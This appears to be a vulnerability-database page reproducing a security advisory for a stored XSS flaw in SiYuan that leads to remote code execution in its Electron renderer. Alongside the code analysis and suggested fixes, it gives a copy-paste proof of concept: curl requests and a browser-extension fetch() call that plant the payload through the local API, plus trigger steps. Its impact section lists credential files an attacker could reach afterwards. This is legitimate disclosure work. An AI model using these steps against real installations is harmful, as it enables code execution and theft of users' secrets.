CVE-2026-44670: SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE
Summary The kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw strings.ReplaceAll(tpl, "${avName}", nodeAvName) to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (render.ts:120 → outerHTML, Title.ts:401 → innerHTML, transaction.ts:559 → innerHTML) consume the value without escaping.
Published May 8, 2026 · Updated May 15, 2026
Affected packages
github.com/siyuan-note/siyuan/kernel
- Ecosystem
- Go
- Affected
- <= 0.0.0-20260421031503-96dfe0bea474
- Fixed in
- 0.0.0-20260512140701-d7b77d945e0d
- Check
go list -m github.com/siyuan-note/siyuan/kernel
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw strings.ReplaceAll(tpl, "${avName}", nodeAvName) to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (render.ts:120 → outerHTML, Title.ts:401 → innerHTML, transaction.ts:559 → innerHTML) consume the value without escaping. Because the main BrowserWindow runs nodeIntegration:true, contextIsolation:false, webSecurity:false (app/electron/main.js:407-411), HTML injection in the renderer becomes Node.js code execution.
Payload is stored on disk under data/storage/av/<id>.json, replicates via every sync transport (S3 / WebDAV / cloud), survives .sy.zip export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV.
Details
Kernel write — no escape. kernel/model/attribute_view.go:3244-3255:
attrView.Name = strings.TrimSpace(operation.Data.(string))
attrView.Name = strings.ReplaceAll(attrView.Name, "\n", " ")
if 512 < utf8.RuneCountInString(attrView.Name) {
attrView.Name = gulu.Str.SubStr(attrView.Name, 512)
}
err = av.SaveAttributeView(attrView) // ← no html.EscapeStringKernel template — raw replace. kernel/model/attribute_view.go:3242,3283-3284:
const attrAvNameTpl = `${avName}`
// ...
tpl := strings.ReplaceAll(attrAvNameTpl, "${avID}", nodeAvID)
tpl = strings.ReplaceAll(tpl, "${avName}", nodeAvName) // ← rawSink #1 — AV body header → outerHTML. app/src/protyle/render/av/render.ts:120 (returned from genTabHeaderHTML, written via outerHTML at render.ts:596):
${data.name || ""}
// ...
e.firstElementChild.outerHTML = `${genTabHeaderHTML(...)}...`;Same pattern in kanban/render.ts:227 and gallery/render.ts:142.
Sink #2 — Doc title attribute strip → innerHTML. app/src/protyle/header/Title.ts:396-403:
response.data.attrViews.forEach((item: { id: string, name: string }) => {
avTitle += `${item.name} `;
});
nodeAttrHTML += `...${avTitle}`;
this.element.querySelector(".protyle-attr").innerHTML = nodeAttrHTML;Sink #3 — WebSocket `updateAttrs` push → innerHTML. app/src/protyle/wysiwyg/transaction.ts:549-562,659:
const escapeHTML = Lute.EscapeHTMLStr(data.new[key]);
if (key === "bookmark") { bookmarkHTML = `...${escapeHTML}...`; }
else if (key === "name") { nameHTML = `...${escapeHTML}...`; }
else if (key === "alias") { aliasHTML = `...${escapeHTML}...`; }
else if (key === "memo") { memoHTML = `...${escapeHTML}...`; }
else if (key === "custom-avs" && data.new["av-names"]) {
avHTML = `...${data.new["av-names"]}`;
// ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above
}
// ...
attrElement.innerHTML = nodeAttrHTML + Constants.ZWSP;The four sibling cases use Lute.EscapeHTMLStr — proving the team knows the right pattern; only av-names was missed.
Renderer posture — RCE multiplier. app/electron/main.js:407-411:
webPreferences: {
nodeIntegration: true, webviewTag: true,
webSecurity: false, contextIsolation: false,
}Reachability. Route /api/transactions setAttrViewName requires CheckAuth + CheckAdminRole + CheckReadonly. On default install (Conf.AccessAuthCode == ""), kernel/model/session.go:261-287 auto-grants Administrator to local-origin requests. The Origin check accepts localhost / loopback only but `chrome-extension://` is explicitly allowlisted (session.go:277), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass.
Suggested fix
kernel/model/attribute_view.go getAvNames(line 3283-3284): replace the twostrings.ReplaceAllcalls withtemplate.HTMLEscapeString(nodeAvName)for the${avName}substitution.transaction.ts:559: wrap withLute.EscapeHTMLStrto match siblings at lines 549-557.render.ts:120: useLute.EscapeHTMLStr(data.name)for bothdata-title=and the text content.Title.ts:396: escapeitem.nameviaLute.EscapeHTMLStranditem.idviaescapeAttr.- *(Defense-in-depth)* Switch the main BrowserWindow to
contextIsolation: truewith a preload bridge — caps every future renderer XSS at "DOM only," not RCE.
---
Reproduction (copy-paste-ready)
Tested on Linux/macOS with SiYuan v3.6.5 (re-verified against master HEAD on 2026-05-03). Windows users: replace python3 with py and use Git Bash / WSL for the shell snippets, or translate to PowerShell.
Prereqs
- Install SiYuan v3.6.5 from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at
~/SiYuanWorkspaceis initialized. Do not set an Access Authorization Code (default). - Verify the kernel responds: ``
sh curl -s http://127.0.0.1:6806/api/system/version`Expected output (single line of JSON):`json {"code":0,"msg":"","data":"3.6.5"}`` - Pin shell variables for the rest of the PoC: ```sh API=http://127.0.0.1:6806 WS=~/SiYuanWorkspace # adjust if your workspace lives elsewhere
NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \ -H 'Content-Type: application/json' -d '{}' \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])')
echo "Using notebook: $NOTEBOOK_ID"
Expected: a 14-digit-timestamp + `-7chars` ID like `20240101120000-abc1234`. If you get an empty string, you have no notebooks — open SiYuan and click "New notebook" once.
### Step A — Create the AV via the SiYuan UI (one-time, ~10 seconds)
The kernel's `setAttrViewName` requires the AV file to already exist on disk (`av.ParseAttributeView` returns an error otherwise). The simplest way to create one is via the editor:
1. Open SiYuan. In any document, type `/database` and press Enter (or open the slash-command menu and pick **Database**).
2. The editor inserts an Attribute View block. The kernel writes a JSON file to `<workspace>/data/storage/av/<av-id>.json`.
3. Capture the AV ID — the most recently written file in that directory:AV_FILE=$(ls -1t "$WS/data/storage/av/"*.json 2>/dev/null | head -1) AV_ID=$(basename "$AV_FILE" .json) echo "AV_ID: $AV_ID"
Expected: same 14-digit-timestamp + `-7chars` shape, e.g. `20260503160000-aaaaaaa`. If empty, the AV file wasn't created — repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read its `data-av-id` attribute.)
4. Capture the doc ID that hosts the AV: right-click the doc tab → **Copy ID**, or read it from the doc's `data-node-id` in DevTools (Ctrl+Shift+I). Set:DOC_ID=
### Step B — Plant the XSS payload as the AV name
The payload is written directly inside an unquoted heredoc so bash expands `$AV_ID` while preserving the `\"` JSON-escape sequences literally. Single-quote chars (`'`) in the inner JS need no escaping inside a JSON string.
curl -s -X POST $API/api/transactions \ -H 'Content-Type: application/json' \ --data-binary @- <<EOF { "session": "x", "app": "siyuan", "transactions": [{ "doOperations": [{ "action": "setAttrViewName", "id": "$AV_ID", "data": "" }], "undoOperations": [] }] } EOF
Expected response:{"code":0,"msg":"","data":[{"doOperations":[...,"action":"setAttrViewName",...]}]}
### Step C — Verify the unescaped storage
python3 -c "import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])"
Expected output (the raw HTML as stored — `print` does not escape `"`, so they appear as literal quotes):
### Step D — Trigger
In the SiYuan desktop client:
1. Switch away from the doc that contains the AV (open another doc, or close the tab).
2. Re-open the doc containing the AV (`$DOC_ID`).
3. The AV body header is rendered via `genTabHeaderHTML` → `outerHTML` at `app/src/protyle/render/av/render.ts:596`. The browser parses the `` tag, fails to load `src=x`, and fires `onerror`.
4. **Calculator (or `xcalc` / `open -a Calculator`) launches.**
If nothing happens, open DevTools (Ctrl+Shift+I / ⌘⌥I) → Console; you should see the error from the failed `src=x` load. If the AV is in another doc you haven't opened recently, the cached render may be stale — close all tabs and re-open.
### Step E — Browser-extension attack vector (the realistic remote path)
A malicious or compromised installed browser extension's content/background script runs with `chrome-extension://<id>` Origin, allowlisted by `session.go:277`. The extension can run Steps B's curl-equivalent via `fetch()`:// Inside any extension content/background script fetch('http://127.0.0.1:6806/api/transactions', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ session: 'x', app: 'siyuan', transactions: [{ doOperations: [{ action: 'setAttrViewName', id: '', data: `` }] }] }) });
The extension can also enumerate AV IDs by first calling `/api/notebook/lsNotebooks`, then walking notebook trees.
A page from `https://attacker.com` is rejected — `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors are: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author's compromised device**.
### Cleanup
Remove the test doc (also removes the AV binding in the doc)
curl -s -X POST $API/api/filetree/removeDocByID \ -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}"
Manually delete the AV file
rm -f $WS/data/storage/av/$AV_ID.json
Restart SiYuan to clear in-memory state
## Impact
- **RCE on the victim's desktop** with the user's privileges, no extra prompt after the trigger condition is met.
- **Persistent** — payload survives restart, syncs across devices, rides in `.sy.zip` exports and Bazaar templates.
- **Triggers for any role** opening a doc bound to the AV (incl. Reader-role publish viewers).
- After RCE: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json` — kernel API token + AccessAuthCode hash), persistence (`.bashrc` / Startup folder / LaunchAgent), cloud-account pivot.
- **Attack vectors:** browser extensions (`chrome-extension://` Origin allowlisted); shared `.sy.zip` files; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.Credited to amwhoi.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesGHSA-p23f-cm6q-2qp8
SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass)
medium5.7Oct 2, 2026GHSA-x8gv-g2g3-65fj
SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF)
high8.2Oct 2, 2026CVE-2026-69085
SiYuan: Unauthenticated SQL injection in searchDocs via unescaped keyword (publish mode): cross-notebook read/write with statement stacking
critical10.0Oct 1, 2026CVE-2026-69083
SiYuan: Unauthenticated SQL execution and REGEXP injection via fullTextSearchAssetContent (publish mode): reader-reachable raw SQL (method 2) and unescaped REGEXP (method 3) on read-write asset-content DB
critical10.0Sep 3, 2026CVE-2026-69084
SiYuan: Unauthenticated arbitrary SQL execution via searchEmbedBlock (publish mode) : reader-reachable raw statement on read-write handle, cross-notebook read/write
critical10.0Sep 3, 2026CVE-2026-72811
SiYuan: SQL injection in backlink/mention search via unescaped stored and client input (publish mode): first-order (client keyword) and second-order (stored document title) breakout on read-write handle
critical10.0Sep 3, 2026
